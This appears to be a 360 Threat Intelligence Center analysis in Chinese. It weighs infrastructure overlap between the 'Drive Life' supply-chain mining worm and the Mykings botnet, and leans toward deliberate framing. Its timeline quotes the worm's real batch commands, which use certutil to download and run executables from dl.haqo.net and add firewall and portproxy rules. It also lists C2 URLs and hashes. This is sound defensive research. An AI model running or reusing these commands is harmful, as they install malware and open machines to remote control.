背景
近期360威胁情报中心发现劫持“驱动人生”的挖矿蠕虫再次活跃并做出了预警(详情可以参见《劫持“驱动人生”的挖矿蠕虫再次活跃》一文),在分析团伙的新活动时360威胁情报中心发现了一些涉及到Mykings家族活动的现象,但未能得出确定性的结论,在此分享出来供业界参考,希望能补充更多维度的信息共同研判。
网络基础设施的重叠
在对“驱动人生”劫持事件下载木马的域名dl.haqo.net进行关联分析时,我们注意到其中一个子域名js.haqo.net,在360威胁情报中心的ALPHA平台中被打上Mykings的标签,该域名解析到IP 81.177.135.35 。
查看81.177.135.35的信息,发现该IP在2018年-2019年的时间段基本上是被Mykings家族所使用,下图可以看到此IP绑定的域名几乎全是Mykings使用的C&C,域名格式为js.xxx.xxx,与Mykings的一些子域名格式一致,并且一直到2019年1月24日Mykings的众多域名依然解析到此IP上。而在2019年1月09日,攻击驱动人生的幕后团伙所使用的域名js.haqo.net也解析到了这个IP。
为了进一步发现更多的关联,使用ALPHA平台的威胁关联分析功能,可以清晰地看到haqo.net下面的三个子域名与Mykings的部分域名之间的关系:
在对两个事件涉及到的C&C域名进行关联分析时,除了观察域名是否解析到相同的IP,还需要确认使用同一个IP的时间段是否一致,如果时间段有重叠,共用基础设施的可能性加大。我们整理了攻击驱动人生的团伙与Mykings使用上面提到的三个IP的时间段,如下表所示,可以发现两者使用同一IP的时间段是有所重叠的,显示出更强的关联度。
域名 |
IP |
First_Seen |
Last_Seen |
|
“驱动人生”挖矿蠕虫 |
js.haqo.net |
81.177.135.35 |
2018/12/25 |
2019/1/28 |
Mykings |
js.mys2016.info |
81.177.135.35 |
2018/5/29 |
2019/1/27 |
Mykings |
js.mykings.pw |
81.177.135.35 |
2018/5/25 |
2019/1/22 |
“驱动人生”挖矿蠕虫 |
ups.haqo.net |
66.117.6.174 |
2018/12/21 |
2018/12/21 |
“驱动人生”挖矿蠕虫 |
v.haqo.net |
66.117.6.174 |
2019/1/7 |
2019/1/9 |
Mykings |
down.mys2018.xyz |
66.117.6.174 |
2018/12/12 |
2018/12/12 |
Mykings |
down.1226bye.pw |
66.117.6.174 |
2018/12/27 |
2019/1/22 |
“驱动人生”挖矿蠕虫 |
ups.haqo.net |
223.25.247.152 |
2018/12/21 |
2019/1/28 |
Mykings |
www.cyg2016.xyz |
223.25.247.152 |
2018/1/28 |
2019/1/22 |
Mykings |
down.mys2016.info |
223.25.247.152 |
2018/1/26 |
2018/2/4 |
我们不仅看到了域名解析到IP的重叠情况,还注意到了两个事件相似的HTTP请求:js.haqo.net在2018-12-25首次解析到IP 81.177.135.35上,接着有样本请求了hxxp://js.haqo.net:280/v.sct;2018-12-26日,Mykings的js.mys2016.info也解析都该IP上,有样本请求了hxxp://js.mys2016.info:280/v.sct。看起来两个事件的不同域名同一个时间段解析到同一个IP上,并且使用了同一个端口280,连URL的Path都一样: /v.sct 。
Mykings访问hxxp://js.mys2016.info:280/v.sct这个URL的样本如下:
可疑的关联性
基于以上的网络基础设施的重叠和访问请求的相似性,我们是否就可以得到“驱动人生”劫持事件与Mykings背后的团伙是同一个呢?我们的观点是:不一定。
Mykings会配合云端机制发起扫描然后尝试扫描和入侵,因此被捕获的样本量相当多; 驱动人生事件的永恒之蓝挖矿蠕虫也会主动进行传播,被捕获的样本量也不少。但是, hxxp://js.haqo.net:280/v.sct这个链接指向文件无法下载,2018-12-25日VT上首次出现这个URL时,甚至连TCP连接都没能建立起来,网络上也并没有留存任何请求了这个URL的样本或者URL的相应数据。
而VT对于URL的检测是不可靠的(特别是没有获取到相应数据的时候),任何人都可以构造一个完全不存在URL提交检测,这样在搜索对应的域名/IP时,URL或者Downloaded Files将会显示出被构造的URL。
例如随意输入hxxp://js[.]haqo.net:6252/admin.asp,尽管请求没成功什么数据也没有返回,依然有三个引擎产生了告警。而再次搜索js.haqo.net时,关联URL中已然多了一条: hxxp://js[.]haqo.net:6252/admin.asp
所以尽管看似“驱动人生”劫持木马的幕后团伙跟Mykings有千丝万缕的关系,但是并没有一个确切的能够提供实锤的证据表明他们是同一个团伙或者两个团伙有交流沟通:尽管一些没有被使用的子域名解析到了Mykings掌握的IP上,而且使用的时间段有所重合;两个团伙已知的恶意代码没有太多的相似之处;VT上js.haqo.net的某个URL构造得与Mykings相关性非常强,但却没有实际返回的数据可以用来确认“驱动人生”劫持木马利用到了Mykings的IP对应的服务器资源。
时间线
目前360对于“驱动人生”劫持木马事件做了一系列的分析,在这里简单总结一下“驱动人生”时间的时间线:
驱动人生攻击爆发,内网传播用的永恒之蓝漏洞,下载的payload地址:http://dl.haqo.net/dl.exe
当时的永恒之蓝的攻击模块的BAT内容如下:
cmd.exe /c certutil -urlcache -split -f http://dl.haqo.net/dl.exe c:/install.exe&c:/install.exe&netsh firewall add portopening tcp 65531 DNS&netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53
而从该地址下载的dl.exe(f79cb9d2893b254cc75dfb7f3e454a69)的C2地址为:
各大安全厂商曝光该攻击,攻击逐步停止。
永恒之蓝攻击模块攻击成功后在目标机器上运行的bat的内容变更下一阶段的payload地址
从http://dl.haqo.net/dl.exe改成了http://dl.haqo.net/dll.exe;
certutil -urlcache -split -f http://dl.haqo.net/dll.exe c:\installs.exe
netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53
netsh firewall add portopening tcp 65532 DNS2
c:\windows\temp\cm.exe /c c:\installs.exe
taskkill /F /IM cmd.exe
而该地址下载回来的样本(f9144118127ff29d4a49a30b242ceb55)的C2地址为以下3个,增加了http://img.minicen.ga/i.png,而该域名为免费域名,注册地址为:freenom.com
http://dl.haqo.net/dll.exe的地址的样本变为:
59b18d6146a2aa066f661599c496090d,下图为该样本的传播量:
该样本的C2地址变为下图的3个域名,增加了o.beahh.com:
其中 beahh.com域名是2019年1月16日刚注册的。
总结
360威胁情报中心基于自有的大数据和威胁情报平台对入侵驱动人生的幕后团伙进行了关联分析,发现其所用的IP与Mykings事件团伙的部分IP重合,并且使用时间的段重合,甚至连样本所访问的URL格式、端口都一样。但是两个团伙已知的恶意代码没有太多的相似之处,格式高度一致的URL没有实际上的请求和响应数据,由于VT不可靠的URL检测机制,该URL是否实际存在也是个疑问。
基于看到的事实,有两个猜想值得关注:1、入侵“驱动人生”的幕后黑手与Mykings事件团伙存在联系,甚至可能是同一个团伙。2、“驱动人生”木马的团伙在有意识地积极栽赃嫁祸给Mykings团伙。我们的观点倾向于后者,360威胁情报中心会持续保持跟踪,基于新发现的事实调整自己的看法,也希望安全业界分享自己的发现。
参考
360对劫持“驱动人生”的挖矿蠕虫分析报告系列详情如下表:
分析文章标题 | 发布日期 | 分析团队 |
《利用“驱动人生”升级程序的恶意程序预警》 | 2018.12.15 | 360互联网安全中心 |
《驱动人生旗下应用分发恶意代码事件分析 – 一个供应链攻击的案例》 | 2018.12.17 | 360威胁情报中心 |
《警报!“永恒之蓝”下载器木马再度更新!》 | 2018.12.19 | 360安全卫士 |
《劫持“驱动人生”的挖矿蠕虫再次活跃》 | 2019.01.24 | 360威胁情报中心 |
《MyKings: 一个大规模多重僵尸网络》 | 2018.01.24 | 360网络安全研究院 |
https://cert.360.cn/warning/detail?id=57cc079bc4686dd09981bf034130f1c9
https://ti.360.net/blog/articles/an-attack-of-supply-chain-by-qudongrensheng/
https://weibo.com/ttarticle/p/show?id=2309404318990783612243
https://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/